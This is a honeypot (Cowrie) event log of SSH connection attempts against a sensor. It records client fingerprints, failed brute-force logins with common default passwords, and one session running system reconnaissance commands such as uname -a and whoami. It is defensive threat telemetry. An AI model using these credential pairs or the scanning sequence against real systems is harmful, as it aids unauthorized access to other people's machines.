{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:02.267659Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:02.503626Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:02.507508Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:02.609073Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:02.846316Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:02.850738Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:02.952693Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:03.191494Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:03.194845Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:03.293966Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:03.515311Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:03.517989Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:03.613153Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:03.849863Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:03.853411Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:03.951682Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:04.169140Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:04.172441Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:04.273633Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.9","message":"Connection lost after 9.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:04.279211Z","src_ip":"43.157.90.107","session":"c627bb7b62b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.90.107","src_port":51224,"dst_ip":"10.17.0.5","dst_port":22,"session":"734c7dfe1bff","protocol":"ssh","message":"New connection: 43.157.90.107:51224 (10.17.0.5:22) [session: 734c7dfe1bff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:42.579208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:42.587817Z","src_ip":"43.157.90.107","session":"734c7dfe1bff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:42.672284Z","src_ip":"43.157.90.107","session":"734c7dfe1bff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nagios","password":"admin","message":"login attempt [nagios/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:43.026820Z","src_ip":"43.157.90.107","session":"734c7dfe1bff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:44.120265Z","src_ip":"43.157.90.107","session":"734c7dfe1bff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.240.192.149","src_port":36826,"dst_ip":"10.17.0.5","dst_port":22,"session":"af48cac9ccbd","protocol":"ssh","message":"New connection: 95.240.192.149:36826 (10.17.0.5:22) [session: af48cac9ccbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:44.125317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:44.128791Z","src_ip":"95.240.192.149","session":"af48cac9ccbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:44.242310Z","src_ip":"95.240.192.149","session":"af48cac9ccbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser2021","message":"login attempt [ftpuser/ftpuser2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:44.715316Z","src_ip":"95.240.192.149","session":"af48cac9ccbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:45.830162Z","src_ip":"95.240.192.149","session":"af48cac9ccbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.67.236.135","src_port":60546,"dst_ip":"159.203.135.109","dst_port":22,"session":"54c75506e616","protocol":"ssh","message":"New connection: 13.67.236.135:60546 (159.203.135.109:22) [session: 54c75506e616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:53.128889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:53.133615Z","src_ip":"13.67.236.135","session":"54c75506e616","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:53.173276Z","src_ip":"13.67.236.135","session":"54c75506e616","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa@123456789","message":"login attempt [ubuntu/Aa@123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:53.364450Z","src_ip":"13.67.236.135","session":"54c75506e616","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00186228752136,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:53.847459Z","src_ip":"67.86.177.43","session":"f33ec816b61f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:54.406592Z","src_ip":"13.67.236.135","session":"54c75506e616","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.177.199","src_port":43110,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f7ad04f80a9","protocol":"ssh","message":"New connection: 43.165.177.199:43110 (10.17.0.5:22) [session: 9f7ad04f80a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:57.166053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:57.170703Z","src_ip":"43.165.177.199","session":"9f7ad04f80a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:57.352344Z","src_ip":"43.165.177.199","session":"9f7ad04f80a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser2021","message":"login attempt [ftpuser/ftpuser2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:58.096623Z","src_ip":"43.165.177.199","session":"9f7ad04f80a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:12:59.279458Z","src_ip":"43.165.177.199","session":"9f7ad04f80a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.55.224.44","src_port":21099,"dst_ip":"10.17.0.5","dst_port":22,"session":"507a706528b7","protocol":"ssh","message":"New connection: 79.55.224.44:21099 (10.17.0.5:22) [session: 507a706528b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:13:15.067030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:13:15.071451Z","src_ip":"79.55.224.44","session":"507a706528b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:13:15.187694Z","src_ip":"79.55.224.44","session":"507a706528b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aceuser","password":"aceuser","message":"login attempt [aceuser/aceuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:13:15.683539Z","src_ip":"79.55.224.44","session":"507a706528b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:13:16.803180Z","src_ip":"79.55.224.44","session":"507a706528b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.90.107","src_port":40248,"dst_ip":"10.17.0.5","dst_port":22,"session":"52b98c1c1cb4","protocol":"ssh","message":"New connection: 43.157.90.107:40248 (10.17.0.5:22) [session: 52b98c1c1cb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:13:30.645719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:13:30.652423Z","src_ip":"43.157.90.107","session":"52b98c1c1cb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:13:30.742864Z","src_ip":"43.157.90.107","session":"52b98c1c1cb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"zxcvbn","message":"login attempt [test/zxcvbn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:13:31.126642Z","src_ip":"43.157.90.107","session":"52b98c1c1cb4","protocol":"ssh"}
